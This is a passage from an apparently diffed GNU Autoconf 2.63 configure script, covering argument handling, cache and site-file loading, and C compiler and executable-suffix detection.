$as_me, which was +generated by GNU Autoconf 2.63. Invocation command line was + + $ $0 $@ + +_ACEOF +exec 5>>config.log +{ +cat <<_ASUNAME +## --------- ## +## Platform. ## +## --------- ## + +hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` + +/bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` +/usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` +/bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` +/bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` + +_ASUNAME + +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + $as_echo "PATH: $as_dir" +done +IFS=$as_save_IFS + +} >&5 + +cat >&5 <<_ACEOF + + +## ----------- ## +## Core tests. ## +## ----------- ## + +_ACEOF + + +# Keep a trace of the command line. +# Strip out --no-create and --no-recursion so they do not pile up. +# Strip out --silent because we don't want to record it for future runs. +# Also quote any args containing shell meta-characters. +# Make two passes to allow for proper duplicate-argument suppression. +ac_configure_args= +ac_configure_args0= +ac_configure_args1= +ac_must_keep_next=false +for ac_pass in 1 2 +do + for ac_arg + do + case $ac_arg in + -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + continue ;; + *\'*) + ac_arg=`$as_echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; + esac + case $ac_pass in + 1) ac_configure_args0="$ac_configure_args0 '$ac_arg'" ;; + 2) + ac_configure_args1="$ac_configure_args1 '$ac_arg'" + if test $ac_must_keep_next = true; then + ac_must_keep_next=false # Got value, back to normal. + else + case $ac_arg in + *=* | --config-cache | -C | -disable-* | --disable-* \ + | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ + | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ + | -with-* | --with-* | -without-* | --without-* | --x) + case "$ac_configure_args0 " in + "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; + esac + ;; + -* ) ac_must_keep_next=true ;; + esac + fi + ac_configure_args="$ac_configure_args '$ac_arg'" + ;; + esac + done +done +$as_unset ac_configure_args0 || test "${ac_configure_args0+set}" != set || { ac_configure_args0=; export ac_configure_args0; } +$as_unset ac_configure_args1 || test "${ac_configure_args1+set}" != set || { ac_configure_args1=; export ac_configure_args1; } + +# When interrupted or exit'd, cleanup temporary files, and complete +# config.log. We remove comments because anyway the quotes in there +# would cause problems or look ugly. +# WARNING: Use '\'' to represent an apostrophe within the trap. +# WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. +trap 'exit_status=$? + # Save into config.log some information that might help in debugging. + { + echo + + cat <<\_ASBOX +## ---------------- ## +## Cache variables. ## +## ---------------- ## +_ASBOX + echo + # The following way of writing the cache mishandles newlines in values, +( + for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { $as_echo "$as_me:$LINENO: WARNING: cache variable $ac_var contains a newline" >&5 +$as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( + *) $as_unset $ac_var ;; + esac ;; + esac + done + (set) 2>&1 | + case $as_nl`(ac_space='\'' '\''; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + sed -n \ + "s/'\''/'\''\\\\'\'''\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" + ;; #( + *) + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) + echo + + cat <<\_ASBOX +## ----------------- ## +## Output variables. ## +## ----------------- ## +_ASBOX + echo + for ac_var in $ac_subst_vars + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + $as_echo "$ac_var='\''$ac_val'\''" + done | sort + echo + + if test -n "$ac_subst_files"; then + cat <<\_ASBOX +## ------------------- ## +## File substitutions. ## +## ------------------- ## +_ASBOX + echo + for ac_var in $ac_subst_files + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + $as_echo "$ac_var='\''$ac_val'\''" + done | sort + echo + fi + + if test -s confdefs.h; then + cat <<\_ASBOX +## ----------- ## +## confdefs.h. ## +## ----------- ## +_ASBOX + echo + cat confdefs.h + echo + fi + test "$ac_signal" != 0 && + $as_echo "$as_me: caught signal $ac_signal" + $as_echo "$as_me: exit $exit_status" + } >&5 + rm -f core *.core core.conftest.* && + rm -f -r conftest* confdefs* conf$$* $ac_clean_files && + exit $exit_status +' 0 +for ac_signal in 1 2 13 15; do + trap 'ac_signal='$ac_signal'; { (exit 1); exit 1; }' $ac_signal +done +ac_signal=0 + +# confdefs.h avoids OS command line length limits that DEFS can exceed. +rm -f -r conftest* confdefs.h + +# Predefined preprocessor variables. + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_NAME "$PACKAGE_NAME" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_TARNAME "$PACKAGE_TARNAME" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_VERSION "$PACKAGE_VERSION" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_STRING "$PACKAGE_STRING" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" +_ACEOF + + +# Let the site file select an alternate cache file if it wants to. +# Prefer an explicitly selected file to automatically selected ones. +ac_site_file1=NONE +ac_site_file2=NONE +if test -n "$CONFIG_SITE"; then + ac_site_file1=$CONFIG_SITE +elif test "x$prefix" != xNONE; then + ac_site_file1=$prefix/share/config.site + ac_site_file2=$prefix/etc/config.site +else + ac_site_file1=$ac_default_prefix/share/config.site + ac_site_file2=$ac_default_prefix/etc/config.site +fi +for ac_site_file in "$ac_site_file1" "$ac_site_file2" +do + test "x$ac_site_file" = xNONE && continue + if test -r "$ac_site_file"; then + { $as_echo "$as_me:$LINENO: loading site script $ac_site_file" >&5 +$as_echo "$as_me: loading site script $ac_site_file" >&6;} + sed 's/^/| /' "$ac_site_file" >&5 + . "$ac_site_file" + fi +done + +if test -r "$cache_file"; then + # Some versions of bash will fail to source /dev/null (special + # files actually), so we avoid doing that. + if test -f "$cache_file"; then + { $as_echo "$as_me:$LINENO: loading cache $cache_file" >&5 +$as_echo "$as_me: loading cache $cache_file" >&6;} + case $cache_file in + [\\/]* | ?:[\\/]* ) . "$cache_file";; + *) . "./$cache_file";; + esac + fi +else + { $as_echo "$as_me:$LINENO: creating cache $cache_file" >&5 +$as_echo "$as_me: creating cache $cache_file" >&6;} + >$cache_file +fi + +# Check that the precious variables saved in the cache have kept the same +# value. +ac_cache_corrupted=false +for ac_var in $ac_precious_vars; do + eval ac_old_set=\$ac_cv_env_${ac_var}_set + eval ac_new_set=\$ac_env_${ac_var}_set + eval ac_old_val=\$ac_cv_env_${ac_var}_value + eval ac_new_val=\$ac_env_${ac_var}_value + case $ac_old_set,$ac_new_set in + set,) + { $as_echo "$as_me:$LINENO: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 +$as_echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,set) + { $as_echo "$as_me:$LINENO: error: \`$ac_var' was not set in the previous run" >&5 +$as_echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,);; + *) + if test "x$ac_old_val" != "x$ac_new_val"; then + # differences in whitespace do not lead to failure. + ac_old_val_w=`echo x $ac_old_val` + ac_new_val_w=`echo x $ac_new_val` + if test "$ac_old_val_w" != "$ac_new_val_w"; then + { $as_echo "$as_me:$LINENO: error: \`$ac_var' has changed since the previous run:" >&5 +$as_echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} + ac_cache_corrupted=: + else + { $as_echo "$as_me:$LINENO: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&5 +$as_echo "$as_me: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&2;} + eval $ac_var=\$ac_old_val + fi + { $as_echo "$as_me:$LINENO: former value: \`$ac_old_val'" >&5 +$as_echo "$as_me: former value: \`$ac_old_val'" >&2;} + { $as_echo "$as_me:$LINENO: current value: \`$ac_new_val'" >&5 +$as_echo "$as_me: current value: \`$ac_new_val'" >&2;} + fi;; + esac + # Pass precious variables to config.status. + if test "$ac_new_set" = set; then + case $ac_new_val in + *\'*) ac_arg=$ac_var=`$as_echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; + *) ac_arg=$ac_var=$ac_new_val ;; + esac + case " $ac_configure_args " in + *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. + *) ac_configure_args="$ac_configure_args '$ac_arg'" ;; + esac + fi +done +if $ac_cache_corrupted; then + { $as_echo "$as_me:$LINENO: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} + { $as_echo "$as_me:$LINENO: error: changes in the environment can compromise the build" >&5 +$as_echo "$as_me: error: changes in the environment can compromise the build" >&2;} + { { $as_echo "$as_me:$LINENO: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&5 +$as_echo "$as_me: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&2;} + { (exit 1); exit 1; }; } +fi + + + + + + + + + + + + + + + + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + + + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. +set dummy ${ac_tool_prefix}gcc; ac_word=$2 +{ $as_echo "$as_me:$LINENO: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + $as_echo_n "(cached) " >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="${ac_tool_prefix}gcc" + $as_echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { $as_echo "$as_me:$LINENO: result: $CC" >&5 +$as_echo "$CC" >&6; } +else + { $as_echo "$as_me:$LINENO: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_CC"; then + ac_ct_CC=$CC + # Extract the first word of "gcc", so it can be a program name with args. +set dummy gcc; ac_word=$2 +{ $as_echo "$as_me:$LINENO: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_CC="gcc" + $as_echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { $as_echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +$as_echo "$ac_ct_CC" >&6; } +else + { $as_echo "$as_me:$LINENO: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:$LINENO: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +else + CC="$ac_cv_prog_CC" +fi + +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. +set dummy ${ac_tool_prefix}cc; ac_word=$2 +{ $as_echo "$as_me:$LINENO: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + $as_echo_n "(cached) " >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="${ac_tool_prefix}cc" + $as_echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { $as_echo "$as_me:$LINENO: result: $CC" >&5 +$as_echo "$CC" >&6; } +else + { $as_echo "$as_me:$LINENO: result: no" >&5 +$as_echo "no" >&6; } +fi + + + fi +fi +if test -z "$CC"; then + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +{ $as_echo "$as_me:$LINENO: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + $as_echo_n "(cached) " >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + ac_prog_rejected=no +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then + ac_prog_rejected=yes + continue + fi + ac_cv_prog_CC="cc" + $as_echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +if test $ac_prog_rejected = yes; then + # We found a bogon in the path, so make sure we never use it. + set dummy $ac_cv_prog_CC + shift + if test $# != 0; then + # We chose a different compiler from the bogus one. + # However, it has the same basename, so the bogon will be chosen + # first if we set CC to just the basename; use the full file name. + shift + ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" + fi +fi +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { $as_echo "$as_me:$LINENO: result: $CC" >&5 +$as_echo "$CC" >&6; } +else + { $as_echo "$as_me:$LINENO: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + for ac_prog in cl.exe + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ $as_echo "$as_me:$LINENO: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + $as_echo_n "(cached) " >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="$ac_tool_prefix$ac_prog" + $as_echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { $as_echo "$as_me:$LINENO: result: $CC" >&5 +$as_echo "$CC" >&6; } +else + { $as_echo "$as_me:$LINENO: result: no" >&5 +$as_echo "no" >&6; } +fi + + + test -n "$CC" && break + done +fi +if test -z "$CC"; then + ac_ct_CC=$CC + for ac_prog in cl.exe +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ $as_echo "$as_me:$LINENO: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_CC="$ac_prog" + $as_echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { $as_echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +$as_echo "$ac_ct_CC" >&6; } +else + { $as_echo "$as_me:$LINENO: result: no" >&5 +$as_echo "no" >&6; } +fi + + + test -n "$ac_ct_CC" && break +done + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:$LINENO: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +fi + +fi + + +test -z "$CC" && { { $as_echo "$as_me:$LINENO: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +{ { $as_echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH +See \`config.log' for more details." >&5 +$as_echo "$as_me: error: no acceptable C compiler found in \$PATH +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; }; } + +# Provide some information about the compiler. +$as_echo "$as_me:$LINENO: checking for C compiler version" >&5 +set X $ac_compile +ac_compiler=$2 +{ (ac_try="$ac_compiler --version >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_compiler --version >&5") 2>&5 + ac_status=$? + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -v >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_compiler -v >&5") 2>&5 + ac_status=$? + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -V >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_compiler -V >&5") 2>&5 + ac_status=$? + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out" +# Try to create an executable without -o first, disregard a.out. +# It will help us diagnose broken compilers, and finding out an intuition +# of exeext. +{ $as_echo "$as_me:$LINENO: checking for C compiler default output file name" >&5 +$as_echo_n "checking for C compiler default output file name... " >&6; } +ac_link_default=`$as_echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` + +# The possible output files: +ac_files="a.out conftest.exe conftest a.exe a_out.exe b.out conftest.*" + +ac_rmfiles= +for ac_file in $ac_files +do + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; + * ) ac_rmfiles="$ac_rmfiles $ac_file";; + esac +done +rm -f $ac_rmfiles + +if { (ac_try="$ac_link_default" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_link_default") 2>&5 + ac_status=$? + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # Autoconf-2.13 could set the ac_cv_exeext variable to `no'. +# So ignore a value of `no', otherwise this would lead to `EXEEXT = no' +# in a Makefile. We should not override ac_cv_exeext if it was cached, +# so that the user can short-circuit this test for compilers unknown to +# Autoconf. +for ac_file in $ac_files '' +do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) + ;; + [ab].out ) + # We found the default executable, but exeext='' is most + # certainly right. + break;; + *.* ) + if test "${ac_cv_exeext+set}" = set && test "$ac_cv_exeext" != no; + then :; else + ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + fi + # We set ac_cv_exeext here because the later test for it is not + # safe: cross compilers may not add the suffix if given an `-o' + # argument, so we may need to know it at that point already. + # Even if this section looks crufty: it has the advantage of + # actually working. + break;; + * ) + break;; + esac +done +test "$ac_cv_exeext" = no && ac_cv_exeext= + +else + ac_file='' +fi + +{ $as_echo "$as_me:$LINENO: result: $ac_file" >&5 +$as_echo "$ac_file" >&6; } +if test -z "$ac_file"; then + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { $as_echo "$as_me:$LINENO: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +{ { $as_echo "$as_me:$LINENO: error: C compiler cannot create executables +See \`config.log' for more details." >&5 +$as_echo "$as_me: error: C compiler cannot create executables +See \`config.log' for more details." >&2;} + { (exit 77); exit 77; }; }; } +fi + +ac_exeext=$ac_cv_exeext + +# Check that the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +{ $as_echo "$as_me:$LINENO: checking whether the C compiler works" >&5 +$as_echo_n "checking whether the C compiler works... " >&6; } +# FIXME: These cross compiler hacks should be removed for Autoconf 3.0 +# If not cross compiling, check that we can run a simple program. +if test "$cross_compiling" != yes; then + if { ac_try='./$ac_file' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + cross_compiling=no + else + if test "$cross_compiling" = maybe; then + cross_compiling=yes + else + { { $as_echo "$as_me:$LINENO: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +{ { $as_echo "$as_me:$LINENO: error: cannot run C compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details." >&5 +$as_echo "$as_me: error: cannot run C compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; }; } + fi + fi +fi +{ $as_echo "$as_me:$LINENO: result: yes" >&5 +$as_echo "yes" >&6; } + +rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out +ac_clean_files=$ac_clean_files_save +# Check that the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +{ $as_echo "$as_me:$LINENO: checking whether we are cross compiling" >&5 +$as_echo_n "checking whether we are cross compiling... " >&6; } +{ $as_echo "$as_me:$LINENO: result: $cross_compiling" >&5 +$as_echo "$cross_compiling" >&6; } + +{ $as_echo "$as_me:$LINENO: checking for suffix of executables" >&5 +$as_echo_n "checking for suffix of executables... " >&6; } +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # If both `conftest.exe' and `conftest' are `present' (well, observable) +# catch `conftest.exe'. For instance with Cygwin, `ls conftest' will +# work properly (i.e., refer to `conftest.exe'), while it won't with +# `rm'. +for ac_file in conftest.exe conftest conftest.*; do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; + *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + break;; + * ) break;; + esac +done +else + { { $as_echo "$as_me:$LINENO: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +{ { $as_echo "$as_me:$LINENO: error: cannot compute suffix of executables: cannot compile and link +See \`config.log' for more details." >&5 +$as_echo "$as_me: error: cannot compute suffix of executables: cannot compile and link +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; }; } +fi + +rm -f conftest$ac_cv_exeext +{ $as_echo "$as_me:$LINENO: result: $ac_cv_exeext" >&5 +$as_echo "$ac_cv_exeext" >&6; } + +rm -f conftest.$ac_ext +EXEEXT=$ac_cv_exeext +ac_exeext=$EXEEXT +{ $as_echo "$as_me:$LINENO: checking for suffix of object files" >&5 +$as_echo_n "checking for suffix of object files... " >&6; } +if test "${ac_cv_objext+set}" = set; then + $as_echo_n "(cached) " >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.o conftest.obj +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_compile") 2>&5 + ac_status=$? + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + for ac_file in conftest.o conftest.obj conftest.*; do + test -f "$ac_file" || continue; + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM ) ;; + *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` + break;; + esac +done +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { $as_echo 